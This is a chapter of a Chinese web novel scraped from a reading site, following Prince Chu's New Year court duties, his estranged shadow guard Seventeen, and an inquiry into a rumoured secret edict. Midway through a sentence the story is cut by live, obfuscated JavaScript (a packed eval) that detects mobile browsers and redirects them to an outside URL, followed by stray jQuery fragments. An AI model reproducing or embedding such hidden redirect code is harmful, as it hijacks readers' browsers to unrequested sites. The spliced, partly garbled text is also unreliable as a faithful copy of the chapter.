文趣网 > 其他小说 > 前任的影卫向我自荐枕席 > 24. 第 24 章
    五更时分,封歧已穿戴一新,于院中设香案,朝皇宫方向遥拜天子,行八拜之礼。

    礼毕,封歧回到起居室,宫女手捧托盘鱼贯而入,盘中摆着今日所着冕服。

    除服后,绪承安先自第一个托盘中取出镶青边的白色单衣,展开,为封歧穿上。这单衣看似寻常,领口却绣有黻(fú)纹,乃帝王专用的绣纹之一,象征明辨是非的美德。太祖为示对子嗣一视同仁,特允亲王在重大场合穿的冕服上用此纹章。

    第二位宫女奉托盘上前,盘上乃一件青色宽袖上衣,织绣五种章纹。此后是浅红下裳、蔽膝、革带、金钩……最后,绪承安捧起冠冕,庄重地为楚王戴上。

    冠冕玄表朱里,前后各九旒,每旒五采玉珠,玉珠垂落,俊美的五官若隐若现,红色帽缨系在下颌,眼眸半敛,愈显挺拔威仪。

    待一切穿戴完毕,又是一刻钟过去。封歧今日不乘马车,而是八抬轿子入宫。此时天色未明,大朝贡尚不曾开始,封歧和另外两位留京的老亲王一起,随皇帝赴奉先殿祭告先祖。之后本该往太皇太后、皇太后处行礼,但是这两位先慈俱已仙去多年,这一项便省了。多出来的半个时辰皇亲们找了处殿室喝茶小憩,皇帝陛下则回去更衣。

    约卯时末刻,天光大亮,大朝贡正式开始。皇帝陛下御奉天殿,殿前宽阔的广场上,亲王、文武百官及四夷朝使分列其上,教坊司奏响雄浑厚重的音乐,众人按班行八拜大礼,山呼万岁。

    天下之主,四方臣服。

    置身于此时此地,此情此景,很难不让人心生景仰与敬畏,也许大朝贡的意义就在于此。

    不过封歧注意到,今年大朝贡高丽国的使者缺席未至。

    “平身。”皇帝说道,声音不大。随堂太监小跑至台阶下,高声传旨:“平身——”

    平身——

    平身——

    平身——

    声音一层一层传递至最末,终于,所有官员都听到了,齐声谢恩起身。

    这时,站在亲王的最前列的楚王走至中间,呈献贺表,娓娓读来。

    读完贺表,封歧回到队列,这场大朝贡已经没有他的事了。他起先和别人一样肃穆地注视着帝王,但是渐渐的注意力有些跑开,落在场外的护卫上。皇帝身后两侧的卤簿乃锦衣卫,但在锦衣卫之外,另有约三十护卫,森严地立于最外围不起眼处,警戒着场中动静。这些人身穿黑衣,脸覆铁面,各自带着不同的兵器,正是平日难得一见的天子影卫。因奉天殿前太过空旷,无蔽身之所,于是站在人前护卫。

    扫了一圈,最后封歧定定地看着东南角,那里也站着一名影卫,身形如未出鞘的宝刀,挺拔利落。他似乎也正看过来,只是隔得太远,视线辨认不清。

    ……也不知道风寒好了没。

    封歧只淡淡看了一眼,就收回了目光,再不曾往那里看过。

    “十七哥,你刚刚在看什么呢?”

    大朝贡结束后,影卫们归位,除了当值的一队外,其余人照旧回影卫司。十七走在路上,耳边突然掠过一阵风,直到肩膀被人拍了一下,这才回过神。

    “你怎么了?”影卫廿二用手背摸了把他额头,“不烧了呀。”

    “没什么。”十七温声道。

    廿二刚入影卫司时是他的徒弟,素来比之别的同僚要亲近些。听廿二说,幼时家里也是富庶人家,后来一夕风云变幻,家破人亡,不得不出来讨生活。不过因着少时的经历,识得一些字。他刚刚“背主”被关在土牢里的时候,就是廿二写了纸团砸楚王的马车,救了他一命。

    廿二少年老成地拍了拍他的手臂:“咱们陛下人还挺不错的,没有和你计较以前的事,以后可得好好干,千万别犯浑了。”

    他和楚王之间的事并未流出,同僚们并不清楚。那些事,又岂是区区“犯浑”一词可以说清的。他这一生走到这里,前路遍布迷雾,早已辨不清方向了。

    十七压下心里的失意,微微点头。

    这时,后面突然传来一阵脚步声,两名太监小跑而过,一边压着嗓子对他们摆手:“楚王殿下将至,速速避让!”

    二人对视一眼,在道边跪下。廿二小声嘀咕:“这不是出宫的路吗,中午陛下设宴款待皇室宗亲,这位殿下不打算出席了?”

    十七完全没有听清他的话,方才听到太监清道时,他的心神就有些乱了。魂不守舍地等了似乎好久,又似乎只有一瞬,一队仪仗出现在宫道那头。狭长的宫道两边挂着一溜灯笼,红色的穗子在风里晃荡。灯笼下面,仍旧是四抬步舆,后面跟着几个太监。

    “放肆!”

    太监尖利的嗓音下,十七惊然回神,发现自己方才居然直楞楞地盯着舆驾,然而任他望眼欲穿,步舆上的人也没有投来半瞥。

    本以为那日突兀地被赶下马车已是世间极致的肝肠寸断,可此刻方知,原来每一眼可望而不可求才更绝望。

    “殿下!”这一瞬间,冲动战胜了一切,他忍不住喊道。

    “我说你这人……!”随侍的太监过来不快地搡了他一下。

    这太监乃楚王院子里的人,二人之前自然见过,但他和楚王之间的事发生在南都,这些人并不清楚。在他们眼里,只知道楚王曾令这影卫随侍过一段时间,后来也许犯了什么忌讳,又或者他是皇帝赏赐本身就是忌讳,退还给了皇帝。哪里还会对他客气。

    仪仗走过,廿二愤愤不平地用胳膊肘捅了捅十七:“这位真是好大的排场。十七哥,你刚刚怎么了?你有什么话要跟楚王说吗?”

    十七垂头不言。

    队列毫无停歇地自他面前走过,而他只能像一条丧家之犬跪在路边,连抬头看一眼都是进犯。他从未如此清晰地意识到,倘若没有殿下的纡尊降贵,俯首将目光投向他,他二人的身份便犹如鸿沟,终其一生都不可能有所交集。

    ……可他连殿下为何赶他走都不知道。

    “真威风,什么时候我能有这么威风。哎。起来了,发什么愣呢,”廿二站起身,拍拍膝盖上的尘土,“那位也不是你我高攀的起的,既然回来了,就老老实实地干下去吧。”

    十七垂下眼帘,掩住眼里的自嘲:“嗯,快些回吧。”

    翌日,正月初二。封歧再次早起入宫,在奉天门东廊接受百官拜贺。好不容易熬到正午回府,只见正门外排着一长溜的马车,快挤到巷子外了,人来人往,络绎不绝,热闹得跟娶亲似的。才想起今日王府开了“门簿”,于门口置红纸簿与笔砚,拜年者见不到楚王,只需奉上年礼,在簿上签名,便算是拜过年了。

    抬轿的太监也忘了这回事,见进不去巷子,并且还引起了人群的骚动,不由连连告罪。

    封歧叹气,这年节百姓热闹热闹也就罢了,越是位高权重之人,越是过得心累。

    马车绕到西南角门,这里倒是冷清不少。封歧下了马车,只见门前栓马柱旁停了一匹瘦骨嶙峋快要入土的老马,不由眉梢一抖,“府上有客?”

    守门的阍人道:“殿下,是褚大人。”

    “卫宪?”

    “殿下!”说话间,褚德自门边的小厅内起身迎出,抱拳行礼。他外面套着一件百姓常穿的土褐色的布衣,头发扎成小髻,风尘仆仆,混在人堆里根本认不出,搭上外头的老马,活生生一个背井离乡穷困潦倒的庄稼汉。

    封歧道:“怎么不骑你那匹宝驹?本王还道有谁胆子大到本王府上打秋风来了。”

    “外出探访,它太扎眼了。殿下,您要我查的事有眉目了。”

    封歧打断道:“入内说话。”

    除夕夜里,听到封麟吓唬十七的话,封歧便起了疑心。空穴来风未必无因,封麟张口就那样说,说不定真的曾听到过什么事情。所以回府后他便立刻给褚德送去密信,让他打听秦王去世前的消息,是否真有那么一封“遗旨”。

    待到了书房,屏退下人,褚德说道:“昔年秦王身边的亲信都死在了宫里,属下倒是打探到,他有个乳兄弟范稷,和秦王关系极深,事发前

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628618|203336||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一个月秦王乳娘病逝,范稷送母还乡,逃过一劫。范稷家乡在顺天府宓丰县,离得不远,属下干脆跑了一趟。据同乡之人说,范稷当初回乡后确实在祖地立了碑,后来也一直守孝整整三年。但是说来奇怪,他还带回一个老妪,和他母亲生得极像,说是姨母,无所出,由他接回家赡养。属下绕到他家门前看过,那老夫人行止优雅,像大户人家出来的。”

    封歧:“你怀疑那位就是范稷慈亲,秦王乳母?”

    “是。范稷当初既然不是因母亲病逝回乡,为何还会在那等紧要时刻离开秦王?属下回来后潜进太医院偷看了先帝脉案,他离开京师的时候先帝已病笃多日,眼看就要殡天了。”

    封歧:“你可真什么事都敢干,这等小事告诉本王,自能取来脉案。若你被抓,少不得要牵连出大麻烦。”

    褚德洋洋得意:“这锦衣卫指挥佥事的身份就是好用,您放心,属下自有办法。”

    封歧:“这范稷确实可疑,但或许秦王顾及手足情分,在风云变幻之际遣他和乳娘离开避祸也有可能。”

    褚德:“属下还没说完,通常守孝也不过三年,但是范稷为母举孝三年余一月。”

    范稷回乡一个月后,秦王薨,也就是说,范稷实则是为了他的主子而守孝。

    明泰三十九年,江左大旱,四十五岁的先太子押送恤银粮草前去抚慰百姓,却死于半道的流民之乱。此后储位空悬,秦王与晋王两位亲王被召回京师,明争暗斗十分激烈。

    在争夺京营的时候,二人互不相让,出了很多丑闻,以致明泰帝大怒,让当时封号为郑王的封歧捡了漏。

    彼时的封歧封地只有巴掌大,还被附近的兄弟吞了去,皇帝也不松口让他离京,只能尴尬地留在京师。自封王后,好歹才有上朝观政的机会,却也仅此而已。在明泰帝看来,这个儿子孤困无援,不足为患,把京营暂且给他,正好可以敲打一下秦、晋二王。

    岂料这京营成了打狗的肉包子,有去无回。

    封歧其实早已在暗中部署多年,派系超乎明泰帝的想象,秦、晋二王的斗争有多少是他在其中推波助澜外人不得而知,得到京营便是他要下的最后一步棋。此后费心整顿,花了一年多的时间将京营上下全换成他的人,终于不再掩饰,在朝廷中露出了獠牙。

    当是时明泰帝年迈多病,身体一日不如一日,这才恍然惊觉这个儿子竟是个装病的老虎,可惜为时已晚。

    明泰四十一年,晋王斗争失败,重返封地,而明泰帝罹患重病。封歧凭借手中兵权挟制明泰帝多日,晋楚王,也拥有了幅员辽阔的楚地作为封地,更是如虎添翼。

    明泰帝悔恨交加,却又耐他不得,只能寄希望于继位的秦王。临终前他瞒着封歧,召集秦王和当时的首辅王之善,托付圣旨。岂料封歧早买通了宫人,瞅准时机率兵“勤王”,反困他们于宫里。

    那一战,楚王势不可挡,怎奈去得晚了,明泰帝已丧命于秦王之手,楚王只好含泪诛杀反王为父报仇,将殿中所有的逆臣贼子一网打尽。

    封歧思忖着:当时的他已成了先帝父子心里的一片乌云,明泰帝留下后手,秦王托付给信任的乳兄弟,也合常理。只是他们都没想到,封歧竟如此强硬,丝毫不顾名声和亲情,直接逼宫下杀手,所谓的后手也只能作无用。

    会有封麟说的那封揭露他身份的密旨吗?

    事情未明,那封密旨是否存在还是两说,万一是个陷阱,若是草率动手,反而可能令别人渔翁得利。封歧吩咐道:“你先派人盯着那个范稷,看他平日里可曾和什么可疑之人来往,有什么及时告诉本王。”

    “是。”

    “还有,本王此前吩咐过你,密切排查京直隶之中供奉‘启明仙君’的邪教徒,此事仍得上心,不可有疏漏。”

    正月初九,京中又迎来一件事——晋王回京祭拜生母。

    去岁腊月廿五宫里有位老太妃薨逝,正乃晋王和代王的生母,兄弟二人封地紧邻,递表回京的却只有晋王。